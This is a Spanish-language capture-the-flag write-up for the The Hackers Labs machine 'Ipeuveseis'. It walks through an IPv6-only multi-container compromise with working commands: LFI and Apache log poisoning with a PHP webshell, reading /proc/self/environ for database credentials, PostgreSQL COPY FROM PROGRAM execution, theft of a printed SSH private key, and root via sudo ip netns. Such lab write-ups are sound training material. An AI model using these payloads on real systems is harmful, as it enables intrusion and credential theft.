‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/ipeuveseis.md

Ipeuveseis

ipv6network
// diploma · The Hackers Labs
Diploma The Hackers Labs — Ipeuveseis (cd4cwj)

Ipeuveseis

The Hackers Labs · Dificultad: Experto · IPv6-only · Pivoting multi-contenedor

Cada bloque indica en qué terminal / máquina se ejecuta cada cosa.

Flags obtenidas: - 🟢 user.txt (/home/lenam/user.txt) → ████████████ - 🔴 root.txt (/root/root.txt) → ████████████


0. Conceptos previos (glosario rápido para no perderse)

Si ya los dominas, sáltatelos. Pero conviene tenerlos claros porque esta máquina los usa TODOS:

Concepto Explicación en una frase
IPv6 El “nuevo” direccionamiento de red. Direcciones tipo fe80::1 o 2001:db8::5. Esta máquina no tiene IPv4, todo va por IPv6.
Link-local (fe80::/10) Dirección IPv6 automática que toda interfaz tiene, válida solo en el cable/segmento local. Se usa con %interfaz (zona), ej: fe80::1%vboxnet0.
SLAAC Autoconfiguración: si un router anuncia un prefijo (con radvd), las máquinas se autoasignan una IP global sin DHCP.
radvd Demonio que envía “Router Advertisements”. Nosotros lo montamos en Kali para dar red IPv6 a la VM.
EUI-64 Fórmula para convertir una MAC (48 bits) en el sufijo de una IPv6 (64 bits). La usa el reto del puerto 8081.
LFI (Local File Include) Vulnerabilidad web que permite leer/incluir archivos del servidor (?file=/etc/passwd).
Log poisoning Meter código PHP dentro de un log (vía cabecera User-Agent) y luego incluir ese log con la LFI → ejecución de comandos (RCE).
RCE Remote Code Execution: ejecutar comandos en la máquina víctima.
Pivoting Saltar de una máquina/contenedor comprometido a otra red que solo esa máquina alcanza.
COPY FROM PROGRAM Función de PostgreSQL que, siendo superusuario, ejecuta comandos del sistema → RCE en el contenedor de la BD.
ip netns Crea “network namespaces”. Truco GTFOBins: si puedes ejecutarlo como root por sudo, te da una shell root.

Topología de red (lo que descubriremos)

   ┌──────────────┐   IPv6 host-only (vboxnet0)      ┌──────────────────────────────────────────┐
   │   KALI       │   2001:db8:cafe::1               │        VM  "TheHackersLabs-ipeuveseis"     │
   │  (atacante)  │◄────────────────────────────────►│  host / usuario final: lenam  (root aquí)  │
   └──────────────┘   fe80::a00:27ff:fe99:cf (host)   │  IP host: fd00:dead:beef::1  (API :8081)    │
        │                                             │                                            │
        │  Solo alcanzo el puerto 8080 (web)          │   ┌─────────┐   ┌────────┐   ┌──────────┐  │
        └────────────────► [8080] ───────────────────┼──►│ ctf/web │──►│  db    │──►│  backup  │  │
                                                      │   │www-data │   │postgres│   │backupuser│  │
                                                      │   └─────────┘   └────────┘   └──────────┘  │
                                                      │   cafe::/64      1337:1::20   1337:2::30    │
                                                      │   1337:1::/64    1337:2::/64  dead:beef::30 │
                                                      └──────────────────────────────────────────┘

Cadena de compromiso:
  Kali → [8080 Web RCE] www-data@ctf → [psql] postgres@db → [ssh] backupuser@backup
       → [8081 API EUI-64] lenam@host → [sudo ip netns] root@host

Idea central: el puerto 8081 (donde está la flag final) escucha en fd00:dead:beef::1, una red interna que solo el contenedor backup alcanza. Por eso hay que ir saltando contenedor a contenedor hasta llegar a backup, y desde ahí hablar con la API 8081.


1. FASE 0 — Preparar el entorno en KALI

Terminal: KALI (root o con sudo). Todo esto se hace UNA vez.

1.1. Descomprimir e importar la VM

cd "~/labs/Ipeuveseis/"

# Verificar y descomprimir el zip (ya trae el .ova dentro)
unzip -o "The Hackers Labs - Ipeuveseis.zip"

# Importar el OVA en VirtualBox COMO EL USUARIO labuser (no root),
# para que la VM quede en el VirtualBox del usuario.
sudo -u labuser VBoxManage import "The Hackers Labs - Ipeuveseis.ova"

1.2. Conectar la VM a la red host-only IPv6 (vboxnet0)

# La tarjeta de red de la VM debe ir a la red host-only vboxnet0
sudo -u labuser VBoxManage modifyvm "TheHackersLabs-Ipeuveseis" \
     --nic1 hostonly --hostonlyadapter1 vboxnet0

# Arrancar la VM SIN ventana (headless)
sudo -u labuser VBoxManage startvm "TheHackersLabs-Ipeuveseis" --type headless

1.3. Dar red IPv6 al lado de Kali (dirección + forwarding + radvd)

La máquina no tiene IPv4 y espera recibir su IP global por SLAAC. Montamos un router IPv6 en Kali:

# 1) Dar una IP IPv6 a la interfaz host-only del lado de Kali
sudo ip -6 addr add 2001:db8:cafe::1/64 dev vboxnet0

# 2) Activar el reenvío IPv6 (para que Kali actúe de router)
sudo sysctl -w net.ipv6.conf.all.forwarding=1

Crear el archivo /etc/radvd.conf con este contenido exacto:

interface vboxnet0
{
    AdvSendAdvert on;
    MinRtrAdvInterval 3;
    MaxRtrAdvInterval 10;
    AdvDefaultLifetime 9000;
    prefix 2001:db8:cafe::/64
    {
        AdvOnLink on;
        AdvAutonomous on;
        AdvRouterAddr on;
    };
};

Y arrancar el servicio (como servicio, no en segundo plano suelto, o se muere al cerrar la shell):

sudo systemctl enable --now radvd
systemctl is-active radvd     # debe decir: active

⚠️ Nota importante: si más adelante borras y reimportas la VM, VirtualBox le pone una MAC nueva y por tanto una IPv6 link-local distinta. Nunca asumas la dirección anterior.


2. FASE 1 — Descubrir la VM y escanear

Terminal: KALI

# Provocar tráfico (ping multicast a "todos los nodos" del enlace)
ping6 -c3 ff02::1%vboxnet0

# Ver la tabla de vecinos: ahí aparece la IPv6 link-local de la VM
ip -6 neigh show dev vboxnet0

Salida (ejemplo real de esta sesión):

fe80::a00:27ff:fe99:cf lladdr 08:00:27:99:00:cf router STALE

➡️ La VM es fe80::a00:27ff:fe99:cf (con MAC 08:00:27:99:00:cf). Guárdala en una variable para comodidad:

HOST='fe80::a00:27ff:fe99:cf%vboxnet0'

💡 En una URL, el % de la zona debe escribirse %25 (ej. para curl/gobuster): http://[fe80::a00:27ff:fe99:cf%25vboxnet0]:8080/

2.2. Escaneo de puertos (IPv6)

# OJO: en link-local, "nmap -sC" (scripts) CASCA con un assertion error.
# Usar solo -sV. Con -6 y -Pn.
nmap -6 -Pn -sV -p- fe80::a00:27ff:fe99:cf%vboxnet0

Resultado relevante: puerto 8080/tcp abierto → Apache + PHP (servidor web). No hay nada más útil expuesto hacia Kali.


3. FASE 2 — Acceso a la web y login

Terminal: KALI (navegador o curl)

Abrir http://[fe80::a00:27ff:fe99:cf%25vboxnet0]:8080/. Es un portal corporativo “IPv6 Corp”.

Credenciales: el login se pasa con el clásico admin / admin123 (usuario administrador por defecto de la app).

SCRATCH=/tmp/ipeuveseis     # carpeta de trabajo temporal
mkdir -p $SCRATCH
IP='fe80::a00:27ff:fe99:cf%25vboxnet0'

# Login guardando la cookie de sesión (PHPSESSID) en un "cookie jar"
curl -s -6 -g -c $SCRATCH/cookies.txt \
     -d "username=admin&password=admin123" \
     "http://[$IP]:8080/index.php"

A partir de aquí usamos -b $SCRATCH/cookies.txt en cada petición para ir autenticados.


4. FASE 3 — LFI en logs.php

Terminal: KALI

logs.php tiene un parámetro file= que incluye el archivo indicado (LFI):

# Leer un archivo del sistema a través de la web
curl -s -6 -g -b $SCRATCH/cookies.txt \
  -G "http://[$IP]:8080/logs.php" \
  --data-urlencode "file=/etc/passwd"

Devuelve el /etc/passwd → confirmado LFI.

❌ Los “wrappers” de PHP (php://filter, php://input) NO funcionan: la app valida con algo tipo file_exists() y rechaza pseudo-protocolos (“Log file not found”). Por eso iremos por log poisoning clásico.


5. FASE 4 — De LFI a RCE (Log Poisoning)

Terminal: KALI

La idea: Apache escribe en /var/log/apache2/access.log cada petición, incluyendo la cabecera User-Agent. Si metemos código PHP en el User-Agent, quedará escrito en el log. Luego, al incluir ese log con la LFI, PHP lo ejecuta.

5.1. El detalle que TODOS fallan: las comillas

El formato de log de Apache escapa las comillas (" y ') dentro del User-Agent como \" / \'. Eso rompe cualquier payload que use $_GET['cmd'] o $_GET["cmd"] (se convierte en $_GET[\'cmd\'] → Parse error).

✅ Solución: usar un índice numérico $_GET[0], que no lleva comillas:

# Envenenar el log: inyectar el webshell en la cabecera User-Agent (SIN comillas)
curl -s -6 -g -b $SCRATCH/cookies.txt \
  -A '<?php system($_GET[0]);?>' \
  "http://[$IP]:8080/index.php"

5.2. Ejecutar comandos

Ahora incluimos el log con la LFI y pasamos el comando en el parámetro 0:

curl -s -6 -g -b $SCRATCH/cookies.txt \
  -G "http://[$IP]:8080/logs.php" \
  --data-urlencode "file=/var/log/apache2/access.log" \
  --data-urlencode "0=id"

➡️ Devuelve uid=33(www-data)... → RCE conseguida como www-data en el contenedor ctf (web).

⚠️ AVISO CRÍTICO (lección aprendida a las malas): PHP compila el archivo entero antes de ejecutarlo. Si envías un payload con un error de sintaxis, ese error queda escrito en el access.log para siempre y bloquea TODA ejecución posterior (aunque el nuevo payload sea perfecto). Y persiste aunque reinicies/apagues la VM (el log está en disco persistente, no en una capa efímera). Si contaminas el log, la única cura es borrar y reimportar la VM desde el .ova original. → Prueba siempre payloads limpios, sin comillas.


6. FASE 5 — Robar credenciales (/proc/self/environ)

Terminal: KALI

Antes de complicarnos, leemos las variables de entorno del propio proceso web, que suelen llevar credenciales de la base de datos:

# /proc/self/environ refleja SOLO el proceso actual: hay que leerlo en la MISMA petición
curl -s -6 -g -b $SCRATCH/cookies.txt \
  -G "http://[$IP]:8080/logs.php" \
  --data-urlencode "file=/proc/self/environ" --output -

Credenciales obtenidas (contenedor db = PostgreSQL en fd00:1337:1::20):

Rol Usuario Password BD
Superusuario superadmin jHt9b8u5whZ55551zlY1 database
Normal user jec41Ew98zB4ch3nM0vP database

El superadmin es superusuario de PostgreSQL → nos permite COPY FROM PROGRAM (RCE).


7. FASE 6 — Pivote 1: RCE en PostgreSQL (COPY FROM PROGRAM)

Terminal: KALI, pero el comando se ejecuta anidado: Kali → web (www-data) → psql → db.

psql está instalado en el contenedor web, así que desde nuestra RCE web lanzamos psql contra el contenedor db. Como superusuario, COPY ... FROM PROGRAM 'comando' ejecuta comando en el contenedor db y nos devuelve su salida.

Patrón general (una tabla temporal recoge la salida del comando):

# Comando que se ejecutará DENTRO del contenedor web (www-data), que a su vez habla con la BD
CMD='PGPASSWORD=jHt9b8u5whZ55551zlY1 psql -h fd00:1337:1::20 -U superadmin -d database -c "DROP TABLE IF EXISTS t; CREATE TABLE t(o text); COPY t FROM PROGRAM '"'"'id'"'"'; SELECT * FROM t;" 2>&1'

curl -s -6 -g -b $SCRATCH/cookies.txt \
  -G "http://[$IP]:8080/logs.php" \
  --data-urlencode "file=/var/log/apache2/access.log" \
  --data-urlencode "0=$CMD"

➡️ Devuelve uid=999(postgres)... → RCE como postgres en el contenedor db.

💡 Trucos de comillas/salida importantes: - El comando de COPY FROM PROGRAM debe producir líneas de texto limpias de una sola columna. Si una línea trae saltos raros → error literal newline found in data. - Para pasar comandos con salida multi-línea, lo más robusto es tuberear a base64 -w0 (una sola línea) y decodificar en Kali. - No pre-codifiques caracteres tipo %27 dentro de una variable que ADEMÁS pasa por --data-urlencode → se doble-codifica a %2527. Usa el carácter literal y deja que curl codifique una sola vez.


8. FASE 7 — Pivote 2: robar la clave SSH y saltar a backup

Terminal: KALI (anidado: web → psql → db)

El contenedor db tiene una clave SSH privada en /home/postgres/.ssh/id_rsa (comentario [email protected]) que da acceso al contenedor backup.

# Leer la clave privada desde db (vía COPY FROM PROGRAM cat)
# ... FROM PROGRAM 'cat /home/postgres/.ssh/id_rsa' ...

Contenido de la clave (ed25519):

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBN6Ifg+dOnBDB8kIuzMYC7zjUKlgOMap5Xn5b0jHloYQAAAJiPnZjqj52Y
6gAAAAtzc2gtZWQyNTUxOQAAACBN6Ifg+dOnBDB8kIuzMYC7zjUKlgOMap5Xn5b0jHloYQ
AAAEA8U25qKqiBUD8eJZt4t8G66sGV2w9dEbWrE6NUQN1iRk3oh+D506cEMHyQi7MxgLvO
NQqWA4xqnleflvSMeWhhAAAAE2JhY2t1cEBjdGYtZGIubG9jYWwBAg==
-----END OPENSSH PRIVATE KEY-----

No hace falta copiarla a Kali: la usamos desde el propio contenedor db (donde vive), haciendo ssh hacia backup. Es decir, un triple anidado: Kali → web → (psql) db → (ssh) backup.

# Dentro del COPY FROM PROGRAM del contenedor db, lanzamos ssh a backup y ejecutamos "id"
# ... FROM PROGRAM 'ssh -6 -q -i /home/postgres/.ssh/id_rsa
#                   -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null
#                   backupuser@fd00:1337:2::30 id' ...

➡️ Devuelve uid=1000(backupuser)... → estamos en el contenedor backup.

💡 -q -o UserKnownHostsFile=/dev/null silencia el banner “Warning: Permanently added…” que, si no, rompe el parser de COPY (una línea “sucia” = error).


9. FASE 8 — El contenedor backup alcanza la red “External Gateway”

Terminal: KALI (anidado hasta backup)

Miramos las interfaces de backup:

# ... ssh ... backupuser@fd00:1337:2::30 ip -6 addr show

Salida clave:

eth0 → fd00:1337:2::30/64   (red hacia db)
eth1 → fd00:dead:beef::30/64 (red "External Gateway")  ← ¡ESTA es la buena!

➡️ backup tiene una pata en fd00:dead:beef::/64, la red donde vive el host final en fd00:dead:beef::1, puerto 8081. Desde aquí SÍ alcanzamos la API.


10. FASE 9 — La API del reto EUI-64 (puerto 8081)

Terminal: KALI (anidado: web → psql → ssh backup → curl a 8081)

Como cada comando produce salida con saltos de línea (JSON), tubereamos a base64 -w0 para tener una sola línea que COPY acepte, y decodificamos en Kali.

# Comando remoto que corre EN backup:  curl a la API 8081 | base64 -w0
# ... ssh ... backupuser@fd00:1337:2::30 curl -6 -s http://[fd00:dead:beef::1]:8081/ | base64 -w0

Decodificando la respuesta (JSON), la API pide:

Las 5 MAC del reto:

00:11:22:33:44:55
AA:BB:CC:DD:EE:FF
12:34:56:78:9A:BC
DE:AD:BE:EF:CA:FE
01:23:45:67:89:AB

10.1. Cómo se calcula EUI-64 (a mano, paso a paso)

Dada una MAC AA:BB:CC:DD:EE:FF:

  1. Partir por la mitad e insertar FF:FE en el centro → AA:BB:CC:FF:FE:DD:EE:FF.
  2. Invertir el 7º bit (bit U/L) del primer octeto → XOR 0x02. AA (1010 1010) XOR 02 (0000 0010) = A8 (1010 1000).
  3. Prefijo fe80:: y agrupar en hextets → fe80::a8bb:ccff:fedd:eeff.

⚠️ OJO — trampa de esta máquina: los dos ejemplos que da la propia API son contradictorios (uno aplica el flip del bit, el otro no). Probado empíricamente: el validador SÍ aplica el flip estándar (XOR 0x02). Usa SIEMPRE la variante con flip.

Script para calcular las 5 (en Kali):

def eui64(mac):
    b = [int(x,16) for x in mac.split(':')]
    b[0] ^= 0x02                                   # flip bit U/L
    eui = [b[0],b[1],b[2],0xff,0xfe,b[3],b[4],b[5]]
    g = ['%02x%02x' % (eui[i],eui[i+1]) for i in range(0,8,2)]
    g = [x.lstrip('0') or '0' for x in g]          # comprimir ceros
    return 'fe80::' + ':'.join(g)

for m in ["00:11:22:33:44:55","AA:BB:CC:DD:EE:FF","12:34:56:78:9A:BC",
          "DE:AD:BE:EF:CA:FE","01:23:45:67:89:AB"]:
    print(m, '->', eui64(m))

Resultado (respuestas correctas):

MAC IPv6 EUI-64
00:11:22:33:44:55 fe80::211:22ff:fe33:4455
AA:BB:CC:DD:EE:FF fe80::a8bb:ccff:fedd:eeff
12:34:56:78:9A:BC fe80::1034:56ff:fe78:9abc
DE:AD:BE:EF:CA:FE fe80::dcad:beff:feef:cafe
01:23:45:67:89:AB fe80::323:45ff:fe67:89ab

11. FASE 10 — Enviar /validate (el infierno de comillas y cómo evitarlo)

Terminal: KALI (anidado: web → psql → ssh backup → curl POST a 8081)

El POST lleva un JSON con comillas dobles. Pasar comillas por 4 capas (bash → psql "..." → SQL '...' → ssh → shell de backup) es inviable a mano. Dos trucos lo resuelven:

  1. Construir el JSON en Python, codificarlo a base64, y en backup hacer printf %s <B64> | base64 -d | curl --data-binary @- .... El base64 no tiene comillas ni metacaracteres, así que atraviesa todas las capas sin romperse.
  2. Para que las tuberías | se ejecuten EN backup (y no en el contenedor db), hay que escaparlas como \|. Así el shell de db las pasa como argumento literal a ssh, y ssh las reconstruye como operadores en backup.
  3. La cabecera se pone sin espacios ni comillas: -H Content-Type:application/json.

Y para no pelear con las comillas del lado de Kali, escribimos el comando en un archivo y lo pasamos con --data-urlencode "0@archivo" (curl lee el contenido del archivo).

Script completo (Kali) que hace /validate:

SCRATCH=/tmp/ipeuveseis
IP='fe80::a00:27ff:fe99:cf%25vboxnet0'

python3 - "$SCRATCH" <<'PY'
import json, base64, sys
SCRATCH=sys.argv[1]
def eui64(mac):
    b=[int(x,16) for x in mac.split(':')]; b[0]^=0x02
    eui=[b[0],b[1],b[2],0xff,0xfe,b[3],b[4],b[5]]
    g=['%02x%02x'%(eui[i],eui[i+1]) for i in range(0,8,2)]
    g=[x.lstrip('0') or '0' for x in g]
    return 'fe80::'+':'.join(g)
macs=["00:11:22:33:44:55","AA:BB:CC:DD:EE:FF","12:34:56:78:9A:BC","DE:AD:BE:EF:CA:FE","01:23:45:67:89:AB"]
payload={"mac_addresses":macs,"ipv6_addresses":[eui64(m) for m in macs]}
b64=base64.b64encode(json.dumps(payload).encode()).decode()
# OJO: los \\| producen \| que hacen que la tubería se ejecute EN backup
remote=("printf %s "+b64+" \\| base64 -d \\| curl -6 -s -X POST -H Content-Type:application/json "
        "--data-binary @- http://[fd00:dead:beef::1]:8081/validate \\| base64 -w0")
cmd=('PGPASSWORD=jHt9b8u5whZ55551zlY1 psql -h fd00:1337:1::20 -U superadmin -d database -c '
     '"DROP TABLE IF EXISTS t; CREATE TABLE t(o text); '
     "COPY t FROM PROGRAM 'ssh -6 -q -i /home/postgres/.ssh/id_rsa -o StrictHostKeyChecking=no "
     "-o UserKnownHostsFile=/dev/null backupuser@fd00:1337:2::30 "+remote+"'; "
     'SELECT * FROM t;" 2>&1')
open(SCRATCH+'/cmd_validate.txt','w').write(cmd)
PY

curl -s -6 -g -b $SCRATCH/cookies.txt -G "http://[$IP]:8080/logs.php" \
  --data-urlencode "file=/var/log/apache2/access.log" \
  --data-urlencode "0@$SCRATCH/cmd_validate.txt"

Respuesta esperada (decodificando el base64 de la salida): "all_valid": true, "validated": 5, "total": 5 ✅


12. FASE 11 — /execute → RCE como lenam + user.txt

Terminal: KALI (mismo transporte, cambiando endpoint y JSON)

Con la validación superada, /execute ejecuta comandos en el host final como lenam. El JSON es {"command":"<lo que sea>"}. Reutilizamos EXACTAMENTE el mismo transporte, cambiando /validate por /execute y el payload:

# En el script Python, cambia:
#   payload = {"command": "id; cat /home/lenam/user.txt"}
#   ...http://[fd00:dead:beef::1]:8081/execute...

Comando útil para confirmar identidad + leer la flag de usuario:

id; hostname; cat /home/lenam/user.txt; sudo -n -l

Resultado:

uid=1000(lenam) gid=1000(lenam) ...
TheHackersLabs-ipeuveseis
████████████      ← 🟢 USER FLAG

# sudo -l:
User lenam may run the following commands (NOPASSWD):
    (ALL) NOPASSWD: /root/stack/scripts/block-web-host-access.sh, remove-web-host-block.sh
    (root) NOPASSWD: /usr/sbin/ip          ← ⚠️ VECTOR DE ROOT

➡️ user.txt = ████████████


13. FASE 12 — Escalada a ROOT (sudo ip netns) + root.txt

Terminal: KALI (vía /execute, comandos ejecutados como lenam)

lenam puede ejecutar /usr/sbin/ip como root sin contraseña. Técnica GTFOBins: crear un network namespace y ejecutar cualquier comando dentro de él → se ejecuta como root.

# Estos comandos van dentro de {"command": "..."} del /execute:
sudo -n /usr/sbin/ip netns add p0wn                       # crear namespace (como root)
sudo -n /usr/sbin/ip netns exec p0wn id                   # comprobar: uid=0(root)
sudo -n /usr/sbin/ip netns exec p0wn cat /root/root.txt   # leer la flag de root
sudo -n /usr/sbin/ip netns del p0wn                       # limpiar

Resultado:

uid=0(root) gid=0(root) grupos=0(root)
████████████      ← 🔴 ROOT FLAG

➡️ root.txt = ████████████

💡 Con ip netns exec <ns> <cmd> puedes ejecutar cualquier comando como root sin necesitar una shell interactiva (ideal cuando solo tienes RCE “de un disparo” por HTTP). Si quisieras shell root real: sudo ip netns exec p0wn /bin/bash.


14. Resumen final

# Etapa Técnica Resultado
1 Preparación radvd + IPv6 host-only + SLAAC VM con red IPv6
2 Recon nmap -6 -sV Puerto 8080 (web)
3 Acceso web login admin:admin123 Sesión válida
4 LFI logs.php?file= Lectura de archivos
5 RCE web Log poisoning $_GET[0] www-data @ ctf
6 Credenciales /proc/self/environ Creds PostgreSQL
7 Pivote 1 COPY FROM PROGRAM postgres @ db
8 Pivote 2 robo id_rsa + ssh backupuser @ backup
9 Recon interno ip -6 addr Red fd00:dead:beef::/64
10 Reto API EUI-64 → /validate Validación OK
11 RCE final /execute lenam @ host → 🟢 user.txt
12 Privesc sudo ip netns root → 🔴 root.txt

Flags: - 🟢 user.txt = ████████████ - 🔴 root.txt = ████████████


15. Anexo — Errores típicos y cómo evitarlos

Síntoma Causa Solución
nmap casca con “assertion failed” Bug de -sC con IPv6 link-local Usa solo -sV, sin -sC
Parse error en la LFI Comillas escapadas en el log (\", \') Payload sin comillas: $_GET[0]
RCE web bloqueada para siempre Log envenenado con error de sintaxis (persiste tras apagar) Borrar y reimportar la VM del .ova
literal newline found in data Salida multi-línea en COPY (ej. banner SSH) Silenciar ssh (-q -o UserKnownHostsFile=/dev/null) y/o base64 -w0
%2527 en vez de %27 Doble codificación No pre-codifiques; usa literal + un solo --data-urlencode
El JSON POST se rompe en las capas Comillas en 4 shells anidados Enviar como base64, printf|base64 -d|curl @-, \| para tuberías en backup
La tubería se ejecuta en el contenedor equivocado | interpretada por el shell de db Escapar \| para que ssh la lleve a backup
La IPv6 de la VM “no responde” tras reimportar Nueva MAC = nueva link-local ip -6 neigh show dev vboxnet0 y usa la nueva

«Para cada hombre hay solo una vocación verdadera: encontrarse a sí mismo.»
— Hermann Hesse, Demian